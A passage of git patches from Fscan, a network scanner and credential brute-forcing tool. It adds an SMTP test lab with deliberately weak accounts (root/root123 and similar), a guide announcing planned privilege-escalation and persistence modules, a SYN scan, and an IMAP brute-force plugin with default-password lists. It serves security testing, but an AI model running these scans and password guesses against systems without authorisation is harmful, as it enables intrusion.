&& rm -rf /var/lib/apt/lists/* + +# 配置Postfix +RUN postconf -e 'smtpd_sasl_auth_enable = yes' \ + && postconf -e 'smtpd_sasl_security_options = noanonymous' \ + && postconf -e 'smtpd_sasl_local_domain =' \ + && postconf -e 'broken_sasl_auth_clients = yes' \ + && postconf -e 'smtpd_recipient_restrictions = permit_sasl_authenticated,permit_mynetworks,reject_unauth_destination' \ + && postconf -e 'inet_interfaces = all' + +# 配置SASL +RUN mkdir -p /etc/postfix/sasl/ +RUN echo "pwcheck_method: auxprop" > /etc/postfix/sasl/smtpd.conf \ + && echo "auxprop_plugin: sasldb" >> /etc/postfix/sasl/smtpd.conf \ + && echo "mech_list: PLAIN LOGIN" >> /etc/postfix/sasl/smtpd.conf + +# 创建SASL用户(使用固定域名localhost) +RUN echo "123456" | saslpasswd2 -p -c -u localhost test +RUN echo "admin123" | saslpasswd2 -p -c -u localhost admin +RUN echo "root123" | saslpasswd2 -p -c -u localhost root + +# 设置权限 +RUN chown postfix:postfix /etc/sasldb2 + +# 创建日志目录和文件 +RUN mkdir -p /var/log && \ + touch /var/log/mail.log && \ + chmod 644 /var/log/mail.log + +# 开放端口 +EXPOSE 25 + +# 创建启动脚本 +RUN echo '#!/bin/bash' > /start.sh \ + && echo 'service rsyslog start' >> /start.sh \ + && echo 'service postfix start' >> /start.sh \ + && echo 'tail -f /var/log/mail.log' >> /start.sh \ + && chmod +x /start.sh + +CMD ["/start.sh"] \ No newline at end of file diff --git a/TestDocker/SMTP/README.txt b/TestDocker/SMTP/README.txt new file mode 100644 index 0000000..f2ee0b9 --- /dev/null +++ b/TestDocker/SMTP/README.txt @@ -0,0 +1,2 @@ +docker build -t smtp-weak . +docker run -d --name smtp-test -p 25:25 smtp-weak \ No newline at end of file diff --git a/TestDocker/SMTP/start.sh b/TestDocker/SMTP/start.sh new file mode 100644 index 0000000..c9146ae --- /dev/null +++ b/TestDocker/SMTP/start.sh @@ -0,0 +1,3 @@ +#!/bin/bash +service postfix start +tail -f /var/log/mail.log \ No newline at end of file From 04ee3afb07bad7fd8d7c36a56bb481b0d1a7dda7 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Sun, 22 Dec 2024 05:17:40 +0800 Subject: [PATCH 130/188] =?UTF-8?q?docs:=202.0=E4=BD=BF=E7=94=A8=E6=8C=87?= =?UTF-8?q?=E5=8D=97?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Docs/Fscan2.0介绍.md | 149 +++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 149 insertions(+) create mode 100644 Docs/Fscan2.0介绍.md diff --git a/Docs/Fscan2.0介绍.md b/Docs/Fscan2.0介绍.md new file mode 100644 index 0000000..bb76e3d --- /dev/null +++ b/Docs/Fscan2.0介绍.md @@ -0,0 +1,149 @@ +# Fscan2.0使用指南 + +大家好,我是ZacharyZcR,很荣幸能参与Fcan的重构工作,本文档将会带您详细了解Fcan2.0的新特性。 + +## 0x01 代码结构重构 + +代码架构经过全面重构,现已优化为四个主要模块:Common、Core、Plugins和WebScan。 + +每个模块都有其明确的职责划分: + +### Common 模块 +负责基础功能实现,包括参数解析和配置管理。作为底层支撑模块,为其他模块提供基础服务支持。 + +### Core 模块 +作为Fscan的核心引擎,实现端口扫描等基础功能。该模块是整个系统的中枢,负责协调和调度其他功能模块。 + +### Plugins 模块 +提供多样化的扫描插件实现,支持功能扩展和定制化需求。 + +### WebScan 模块 + +专门负责Web应用层面的扫描功能,提供深度的Web安全评估能力。 + +### 代码规范 +为提升代码质量和可维护性,我们制定了以下规范: + +1. 文件命名采用大驼峰命名法,所有文件名以大写字母开头 +2. 内部函数和方法的命名保持灵活性,以实用性为准 +3. 使用LLM技术对全部代码进行了注释补充和优化 +4. 完善了代码文档,便于开发者理解和进行二次开发 + +## 0x02 插件热插拔设计 + +Fcan 2.0采用了基于反射机制的插件热插拔架构,实现了插件的灵活添加和移除。以下是详细说明: + +### 插件注册机制 +插件注册通过 `Core/Registry.go` 文件实现,使用简洁的注册语法: + +```go +Common.RegisterPlugin("mysql", Common.ScanPlugin{ + Name: "MySQL", + Ports: []int{3306, 3307}, + ScanFunc: Plugins.MysqlScan, +}) +``` + +注册结构包含三个关键要素: +- 插件标识符(小写字符串) +- 插件名称(显示名称) +- 默认扫描端口 +- 具体实现函数 + +### 端口配置 +在 `Common/Ports.go` 中定义了多组预设端口配置: + +- ServicePorts:常用服务端口 +- DbPorts:数据库相关端口 +- WebPorts:Web服务端口 +- AllPorts:全端口范围(1-65535) +- MainPorts:核心服务端口 + +### 扫描模式配置 +`Common/ParseScanMode.go` 中定义了默认扫描模式分组: + +```go +var pluginGroups = map[string][]string{ + ModeAll: [...], // 全量扫描 + ModeBasic: [...], // 基础扫描 + ModeDatabase: [...], // 数据库扫描 + ModeWeb: [...], // Web服务扫描 + ModeService: [...], // 基础服务扫描 + ModeVul: [...], // 漏洞扫描 + ModeLocal: [...], // 本地信息收集 +} +``` + +### 使用方式 +插件注册后即可通过 `-m` 参数调用,无需额外配置。这种设计既保证了扩展性,又维持了使用的简便性。若需要更多便捷功能,可通过修改相应配置文件实现。 + +## 0x03 Fscan-Lab + +Fscan-Lab是一个集成的测试环境平台,专为安全学习和功能验证设计。 + +### 功能特点 + +1. 预配置Docker环境 + - 位于TestDocker目录下 + - 包含多种预设测试场景 + - 环境经过完整测试和验证 + +2. 使用场景 + - 新手用户快速入门 + - 功能学习与实践 + - 插件开发测试验证 + - 单点功能调试 + +### 优势 + +- 即开即用:预置环境免去繁琐配置 +- 标准化:统一的测试环境确保结果可复现 +- 安全可控:本地环境避免误操作风险 +- 快速验证:便于开发者进行功能测试 + +## 0x04 本地扫描与本地利用 + +Fscan 2.0正在开发一套全新的本地化功能模块,主要包含以下方向: + +### 计划功能 + +1. 本地敏感信息搜集 +2. 本地提权检测与利用 +3. 隧道搭建功能 +4. 权限维持组件 + +### 开发状态 + +该模块目前处于积极开发阶段,我们正在努力确保每个功能的安全性和可靠性。这个新增模块将极大扩展Fscan的功能范围,使其成为一个更全面的安全评估工具。 + +### 未来展望 + +我们将在确保功能稳定性的基础上,逐步发布这些新特性。欢迎社区持续关注项目进展,也欢迎有兴趣的开发者参与贡献。 + +具体发布时间和详细功能列表将在开发完成后公布,敬请期待。 + +## 0x05 更多功能与开发说明 + +### 持续开发 + +Fscan 2.0目前处于活跃开发阶段: +- 最新代码会持续发布到dev分支 +- 更新频率较高 +- 功能不断优化和扩展 + +### 版本选择建议 + +由于dev分支的特点: +- 更新速度快 +- 不保证完全稳定 +- 可能包含实验性功能 + +建议用户根据实际需求选择合适的版本: +- 追求稳定性的用户建议使用主分支 +- 需要尝试新功能的用户可以使用dev分支 + +### 致谢 + +感谢您对Fscan 2.0的关注。我们将继续完善功能,提供更好的使用体验。 + +ZacharyZcR \ No newline at end of file From 46f9ab84b19008a8b9c63288c5fad4e28a4eb8b8 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Sun, 22 Dec 2024 10:53:36 +0800 Subject: [PATCH 131/188] =?UTF-8?q?feat:=20=E5=A2=9E=E5=8A=A0=E7=AB=AF?= =?UTF-8?q?=E5=8F=A3SYN=E6=89=AB=E6=8F=8F?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/Config.go | 3 +- Common/Flag.go | 1 + Core/PortScan.go | 231 ++++++++++++++++++++++++++++++++++++++++++----- Core/Scanner.go | 9 +- go.mod | 3 +- go.sum | 6 ++ 6 files changed, 227 insertions(+), 26 deletions(-) diff --git a/Common/Config.go b/Common/Config.go index 07bd1b1..3df730f 100644 --- a/Common/Config.go +++ b/Common/Config.go @@ -48,7 +48,8 @@ var ( // 扫描配置 ScanMode string // 原Scantype ThreadNum int // 原Threads - Timeout int64 = 3 + UseSynScan bool + Timeout int64 = 3 LiveTop int DisablePing bool // 原NoPing UsePing bool // 原Ping diff --git a/Common/Flag.go b/Common/Flag.go index c76685d..0d97421 100644 --- a/Common/Flag.go +++ b/Common/Flag.go @@ -71,6 +71,7 @@ func Flag(Info *HostInfo) { " 服务类: ftp, ssh, telnet, smb, rdp, vnc, netbios\n"+ " 漏洞类: ms17010, smbghost, smb2\n"+ " 其他: findnet, wmiexec, localinfo") + flag.BoolVar(&UseSynScan, "sS", false, "使用SYN扫描替代TCP全连接扫描(需要root/管理员权限)") flag.IntVar(&ThreadNum, "t", 600, "设置扫描线程数") flag.Int64Var(&Timeout, "time", 3, "设置连接超时时间(单位:秒)") flag.IntVar(&LiveTop, "top", 10, "仅显示指定数量的存活主机") diff --git a/Core/PortScan.go b/Core/PortScan.go index 5e3c06e..eb5a2ae 100644 --- a/Core/PortScan.go +++ b/Core/PortScan.go @@ -1,8 +1,15 @@ package Core import ( + "encoding/binary" "fmt" + "github.com/google/gopacket" + "github.com/google/gopacket/layers" + "github.com/google/gopacket/pcap" "github.com/shadow1ng/fscan/Common" + "golang.org/x/net/ipv4" + "net" + "runtime" "sort" "sync" "time" @@ -14,9 +21,9 @@ type Addr struct { port int // 端口号 } -// PortScan 执行端口扫描 func PortScan(hostslist []string, ports string, timeout int64) []string { var AliveAddress []string + var mu sync.Mutex // 添加互斥锁保护 AliveAddress // 解析端口列表 probePorts := Common.ParsePort(ports) @@ -33,20 +40,31 @@ func PortScan(hostslist []string, ports string, timeout int64) []string { addrs := make(chan Addr, 100) results := make(chan string, 100) var wg sync.WaitGroup - - // 接收扫描结果 - go collectResults(&AliveAddress, results, &wg) + var workerWg sync.WaitGroup // 启动扫描协程 for i := 0; i < workers; i++ { + workerWg.Add(1) go func() { + defer workerWg.Done() for addr := range addrs { PortConnect(addr, results, timeout, &wg) - wg.Done() } }() } + // 接收扫描结果 + var resultWg sync.WaitGroup + resultWg.Add(1) + go func() { + defer resultWg.Done() + for result := range results { + mu.Lock() + AliveAddress = append(AliveAddress, result) + mu.Unlock() + } + }() + // 添加扫描目标 for _, port := range probePorts { for _, host := range hostslist { @@ -55,38 +73,43 @@ func PortScan(hostslist []string, ports string, timeout int64) []string { } } - wg.Wait() + // 按顺序关闭并等待 close(addrs) - close(results) + workerWg.Wait() // 等待所有扫描worker完成 + wg.Wait() // 等待所有扫描任务完成 + close(results) // 关闭结果通道 + resultWg.Wait() // 等待结果处理完成 + return AliveAddress } -// collectResults 收集扫描结果 -func collectResults(aliveAddrs *[]string, results <-chan string, wg *sync.WaitGroup) { - for found := range results { - *aliveAddrs = append(*aliveAddrs, found) - wg.Done() - } -} - -// PortConnect 尝试连接指定端口 func PortConnect(addr Addr, respondingHosts chan<- string, timeout int64, wg *sync.WaitGroup) { - // 建立TCP连接 - conn, err := Common.WrapperTcpWithTimeout("tcp4", - fmt.Sprintf("%s:%v", addr.ip, addr.port), - time.Duration(timeout)*time.Second) + defer wg.Done() // 保留 defer wg.Done() - if err != nil { + var isOpen bool + var err error + + if Common.UseSynScan { + isOpen, err = SynScan(addr.ip, addr.port, timeout) + } else { + conn, err := Common.WrapperTcpWithTimeout("tcp4", + fmt.Sprintf("%s:%v", addr.ip, addr.port), + time.Duration(timeout)*time.Second) + if err == nil { + defer conn.Close() + isOpen = true + } + } + + if err != nil || !isOpen { return } - defer conn.Close() // 记录开放端口 address := fmt.Sprintf("%s:%d", addr.ip, addr.port) result := fmt.Sprintf("[+] 端口开放 %s", address) Common.LogSuccess(result) - wg.Add(1) respondingHosts <- address } @@ -134,3 +157,165 @@ func excludeNoPorts(ports []int) []int { return newPorts } + +func SynScan(ip string, port int, timeout int64) (bool, error) { + ifName := getInterfaceName() + + sendConn, err := net.ListenPacket("ip4:tcp", "0.0.0.0") + if err != nil { + return false, fmt.Errorf("创建发送套接字失败: %v", err) + } + defer sendConn.Close() + + rawConn, err := ipv4.NewRawConn(sendConn) + if err != nil { + return false, fmt.Errorf("获取原始连接失败: %v", err) + } + + dstIP := net.ParseIP(ip) + if dstIP == nil { + return false, fmt.Errorf("无效的IP地址: %s", ip) + } + + // 打开正确的网络接口 + handle, err := pcap.OpenLive(ifName, 65536, true, pcap.BlockForever) + if err != nil { + // 如果失败,尝试查找可用接口 + ifaces, err := pcap.FindAllDevs() + if err != nil { + return false, fmt.Errorf("无法找到网络接口: %v", err) + } + + // 遍历查找可用接口 + var found bool + for _, iface := range ifaces { + handle, err = pcap.OpenLive(iface.Name, 65536, true, pcap.BlockForever) + if err == nil { + found = true + break + } + } + + if !found { + return false, fmt.Errorf("无法打开任何网络接口") + } + } + defer handle.Close() + + srcPort := 12345 + port + filter := fmt.Sprintf("tcp and src port %d and dst port %d", port, srcPort) + if err := handle.SetBPFFilter(filter); err != nil { + return false, fmt.Errorf("设置过滤器失败: %v", err) + } + + tcpHeader := &ipv4.Header{ + Version: 4, + Len: 20, + TotalLen: 40, + TTL: 64, + Protocol: 6, + Dst: dstIP, + } + + synPacket := make([]byte, 20) + binary.BigEndian.PutUint16(synPacket[0:2], uint16(srcPort)) + binary.BigEndian.PutUint16(synPacket[2:4], uint16(port)) + binary.BigEndian.PutUint32(synPacket[4:8], uint32(1)) + binary.BigEndian.PutUint32(synPacket[8:12], uint32(0)) + synPacket[12] = 0x50 + synPacket[13] = 0x02 + binary.BigEndian.PutUint16(synPacket[14:16], uint16(8192)) + binary.BigEndian.PutUint16(synPacket[16:18], uint16(0)) + binary.BigEndian.PutUint16(synPacket[18:20], uint16(0)) + + checksum := calculateTCPChecksum(synPacket, tcpHeader.Src, tcpHeader.Dst) + binary.BigEndian.PutUint16(synPacket[16:18], checksum) + + if err := rawConn.WriteTo(tcpHeader, synPacket, nil); err != nil { + return false, fmt.Errorf("发送SYN包失败: %v", err) + } + + packetSource := gopacket.NewPacketSource(handle, handle.LinkType()) + packetSource.DecodeOptions.Lazy = true + packetSource.NoCopy = true + + timeoutChan := time.After(time.Duration(timeout) * time.Second) + + for { + select { + case packet := <-packetSource.Packets(): + tcpLayer := packet.Layer(layers.LayerTypeTCP) + if tcpLayer == nil { + continue + } + + tcp, ok := tcpLayer.(*layers.TCP) + if !ok { + continue + } + + if tcp.SYN && tcp.ACK { + return true, nil + } + + if tcp.RST { + return false, nil + } + + case <-timeoutChan: + return false, nil + } + } +} + +// calculateTCPChecksum 计算TCP校验和 +func calculateTCPChecksum(tcpHeader []byte, srcIP, dstIP net.IP) uint16 { + // 创建伪首部 + pseudoHeader := make([]byte, 12) + copy(pseudoHeader[0:4], srcIP.To4()) + copy(pseudoHeader[4:8], dstIP.To4()) + pseudoHeader[8] = 0 + pseudoHeader[9] = 6 // TCP协议号 + pseudoHeader[10] = byte(len(tcpHeader) >> 8) + pseudoHeader[11] = byte(len(tcpHeader)) + + // 计算校验和 + var sum uint32 + + // 计算伪首部的校验和 + for i := 0; i < len(pseudoHeader)-1; i += 2 { + sum += uint32(pseudoHeader[i])<<8 | uint32(pseudoHeader[i+1]) + } + + // 计算TCP头的校验和 + for i := 0; i < len(tcpHeader)-1; i += 2 { + sum += uint32(tcpHeader[i])<<8 | uint32(tcpHeader[i+1]) + } + + // 如果长度为奇数,处理最后一个字节 + if len(tcpHeader)%2 == 1 { + sum += uint32(tcpHeader[len(tcpHeader)-1]) << 8 + } + + // 将高16位加到低16位 + for sum > 0xffff { + sum = (sum >> 16) + (sum & 0xffff) + } + + // 取反 + return ^uint16(sum) +} + +// 获取系统对应的接口名 +func getInterfaceName() string { + switch runtime.GOOS { + case "windows": + return "\\Device\\NPF_Loopback" + case "linux": + return "lo" + case "darwin": + return "lo0" + default: + return "lo" + } +} diff --git a/Core/Scanner.go b/Core/Scanner.go index 9ae8d8a..f85a84d 100644 --- a/Core/Scanner.go +++ b/Core/Scanner.go @@ -70,7 +70,7 @@ func executeScan(hosts []string, info Common.HostInfo, ch *chan struct{}, wg *sy alivePorts = append(alivePorts, Common.HostPort...) alivePorts = Common.RemoveDuplicate(alivePorts) Common.HostPort = nil - fmt.Printf("[+] 总计存活端口: %d\n", len(alivePorts)) + fmt.Printf("[+] 存活端口数量: %d\n", len(alivePorts)) } targetInfos = prepareTargetInfos(alivePorts, info) @@ -116,10 +116,12 @@ func executeScans(targets []Common.HostInfo, ch *chan struct{}, wg *sync.WaitGro if plugins := Common.GetPluginsForMode(mode); plugins != nil { // 预设模式下使用配置的插件组 pluginsToRun = plugins + fmt.Printf("[*] 正在加载插件组: %s\n", mode) } else { // 单插件模式 pluginsToRun = []string{mode} isSinglePlugin = true + fmt.Printf("[*] 正在加载单插件: %s\n", mode) } // 统一处理所有目标和插件 @@ -130,12 +132,14 @@ func executeScans(targets []Common.HostInfo, ch *chan struct{}, wg *sync.WaitGro // 获取插件信息 plugin, exists := Common.PluginManager[pluginName] if !exists { + fmt.Printf("[-] 插件 %s 不存在\n", pluginName) continue } // 本地扫描模式的特殊处理 if Common.LocalScan { if len(plugin.Ports) == 0 { + fmt.Printf("[+] 载入插件: %s\n", pluginName) AddScan(pluginName, target, ch, wg) } continue @@ -143,6 +147,7 @@ func executeScans(targets []Common.HostInfo, ch *chan struct{}, wg *sync.WaitGro // 单插件模式直接执行,不检查端口 if isSinglePlugin { + fmt.Printf("[+] 载入插件: %s\n", pluginName) AddScan(pluginName, target, ch, wg) continue } @@ -150,9 +155,11 @@ func executeScans(targets []Common.HostInfo, ch *chan struct{}, wg *sync.WaitGro // 预设模式下的常规处理 if len(plugin.Ports) > 0 { if plugin.HasPort(targetPort) { + fmt.Printf("[+] 载入插件: %s (端口: %d)\n", pluginName, targetPort) AddScan(pluginName, target, ch, wg) } } else { + fmt.Printf("[+] 载入插件: %s\n", pluginName) AddScan(pluginName, target, ch, wg) } } diff --git a/go.mod b/go.mod index f24a6ff..7b42c92 100644 --- a/go.mod +++ b/go.mod @@ -44,6 +44,7 @@ require ( github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe // indirect github.com/golang-sql/sqlexp v0.1.0 // indirect github.com/golang/snappy v0.0.4 // indirect + github.com/google/gopacket v1.1.19 // indirect github.com/google/uuid v1.6.0 // indirect github.com/hashicorp/errwrap v1.0.0 // indirect github.com/hashicorp/go-multierror v1.1.1 // indirect @@ -67,7 +68,7 @@ require ( go.uber.org/multierr v1.3.0 // indirect go.uber.org/tools v0.0.0-20190618225709-2cfd321de3ee // indirect go.uber.org/zap v1.14.0 // indirect - golang.org/x/lint v0.0.0-20190930215403-16217165b5de // indirect + golang.org/x/lint v0.0.0-20200302205851-738671d3881b // indirect golang.org/x/mod v0.18.0 // indirect golang.org/x/sync v0.10.0 // indirect golang.org/x/sys v0.28.0 // indirect diff --git a/go.sum b/go.sum index 994d5e3..82d6c11 100644 --- a/go.sum +++ b/go.sum @@ -112,6 +112,8 @@ github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMyw github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= +github.com/google/gopacket v1.1.19 h1:ves8RnFZPGiFnTS0uPQStjwru6uO6h+nlr9j6fL7kF8= +github.com/google/gopacket v1.1.19/go.mod h1:iJ8V8n6KS+z2U1A8pUwu8bW5SyEMkXJB8Yo/Vo+TKTo= github.com/google/gxui v0.0.0-20151028112939-f85e0a97b3a4/go.mod h1:Pw1H1OjSNHiqeuxAduB1BKYXIwFtsyrY47nEqSgEiCM= github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs= github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= @@ -359,11 +361,14 @@ golang.org/x/lint v0.0.0-20190409202823-959b441ac422/go.mod h1:6SW0HCj/g11FgYtHl golang.org/x/lint v0.0.0-20190909230951-414d861bb4ac/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= golang.org/x/lint v0.0.0-20190930215403-16217165b5de h1:5hukYrvBGR8/eNkX5mdUezrA6JiaEZDtJb9Ei+1LlBs= golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= +golang.org/x/lint v0.0.0-20200302205851-738671d3881b h1:Wh+f8QHJXR411sJR8/vRBTZ7YapZaRvUcLFFJhusH0k= +golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= golang.org/x/mobile v0.0.0-20181026062114-a27dd33d354d/go.mod h1:z+o9i4GpDbdi3rU15maQ/Ox0txvL9dWGYEHz965HBQE= golang.org/x/mobile v0.0.0-20190312151609-d3739f865fa6/go.mod h1:z+o9i4GpDbdi3rU15maQ/Ox0txvL9dWGYEHz965HBQE= golang.org/x/mobile v0.0.0-20190719004257-d2bd2a29d028/go.mod h1:E/iHnbuqvinMTCcRqshq8CkpyQDoeVncDDYHnLhea+o= golang.org/x/mod v0.0.0-20190513183733-4bf6d317e70e/go.mod h1:mXi4GBBbnImb6dmsKGUJ2LatrhH/nqhxcFungHvyanc= golang.org/x/mod v0.1.0/go.mod h1:0QHyrYULN0/3qlju5TqG8bIK38QM8yzMo5ekMj3DlcY= +golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg= golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= @@ -491,6 +496,7 @@ golang.org/x/tools v0.0.0-20191029041327-9cc4af7d6b2c/go.mod h1:b+2E5dAYhXwXZwtn golang.org/x/tools v0.0.0-20191029190741-b9c20aec41a5/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191112195655-aa38f8e97acc/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= golang.org/x/tools v0.1.0/go.mod h1:xkSsbof2nBLbhDlRMhhhyNLN/zl3eTqcnHD5viDpcZ0= golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU= From 8f5d0caaf2ecde70e6ae06c249ecc4ce718361cd Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Mon, 23 Dec 2024 01:17:39 +0800 Subject: [PATCH 132/188] =?UTF-8?q?refactor:=20=E5=8E=BB=E6=8E=89WMIexec?= =?UTF-8?q?=E5=9C=A8=E9=BB=98=E8=AE=A4=E6=89=A7=E8=A1=8C=E7=9A=84=E4=BD=8D?= =?UTF-8?q?=E7=BD=AE?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/ParseScanMode.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Common/ParseScanMode.go b/Common/ParseScanMode.go index 7d06292..370f550 100644 --- a/Common/ParseScanMode.go +++ b/Common/ParseScanMode.go @@ -23,7 +23,7 @@ var pluginGroups = map[string][]string{ "oracle", "memcached", "elasticsearch", "rabbitmq", "kafka", "activemq", // 数据库类 "ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", "ldap", "smtp", // 服务类 "ms17010", "smbghost", "smb2", // 漏洞类 - "findnet", "wmiexec", // 其他 + "findnet", // 其他 }, ModeBasic: { "web", "ftp", "ssh", "smb", "findnet", From 7bded7bc31380d09613e287b7b9082c462ace211 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Mon, 23 Dec 2024 01:50:20 +0800 Subject: [PATCH 133/188] =?UTF-8?q?feat:=20=E5=A2=9E=E5=8A=A0IMAP=E6=89=AB?= =?UTF-8?q?=E6=8F=8F?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/Config.go | 1 + Common/ParseScanMode.go | 4 +- Common/Ports.go | 4 +- Core/Registry.go | 6 +++ Plugins/IMAP.go | 111 ++++++++++++++++++++++++++++++++++++++++ go.mod | 2 +- go.sum | 1 - 7 files changed, 123 insertions(+), 6 deletions(-) create mode 100644 Plugins/IMAP.go diff --git a/Common/Config.go b/Common/Config.go index 3df730f..95f0df0 100644 --- a/Common/Config.go +++ b/Common/Config.go @@ -18,6 +18,7 @@ var Userdict = map[string][]string{ "activemq": {"admin", "root", "activemq", "system", "user"}, "ldap": {"admin", "administrator", "root", "cn=admin", "cn=administrator", "cn=manager"}, "smtp": {"admin", "root", "postmaster", "mail", "smtp", "administrator"}, + "imap": {"admin", "mail", "postmaster", "root", "user", "test"}, } var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "P@ssword123", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "Charge123", "Aa123456789", "elastic123"} diff --git a/Common/ParseScanMode.go b/Common/ParseScanMode.go index 370f550..7b2e3aa 100644 --- a/Common/ParseScanMode.go +++ b/Common/ParseScanMode.go @@ -21,7 +21,7 @@ var pluginGroups = map[string][]string{ "web", "fcgi", // web类 "mysql", "mssql", "redis", "mongodb", "postgres", // 数据库类 "oracle", "memcached", "elasticsearch", "rabbitmq", "kafka", "activemq", // 数据库类 - "ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", "ldap", "smtp", // 服务类 + "ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", "ldap", "smtp", "imap", // 服务类 "ms17010", "smbghost", "smb2", // 漏洞类 "findnet", // 其他 }, @@ -36,7 +36,7 @@ var pluginGroups = map[string][]string{ "web", "fcgi", }, ModeService: { - "ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", "ldap", "smtp", + "ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", "ldap", "smtp", "imap", }, ModeVul: { "ms17010", "smbghost", "smb2", diff --git a/Common/Ports.go b/Common/Ports.go index cf71733..7bc75d1 100644 --- a/Common/Ports.go +++ b/Common/Ports.go @@ -5,11 +5,11 @@ import ( "strings" ) -var ServicePorts = "21,22,23,25,135,139,389,445,465,587,636,1433,1521,2222,3306,3389,5432,5672,5671,6379,8161,9000,9092,9093,9200,11211,15672,15671,27017,61616,61613" +var ServicePorts = "21,22,23,25,135,139,143,389,445,465,587,636,993,1433,1521,2222,3306,3389,5432,5672,5671,6379,8161,9000,9092,9093,9200,11211,15672,15671,27017,61616,61613" var DbPorts = "1433,1521,3306,5432,5672,6379,9093,9200,11211,27017,61616" var WebPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,15672,15671,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880" var AllPorts = "1-65535" -var MainPorts = 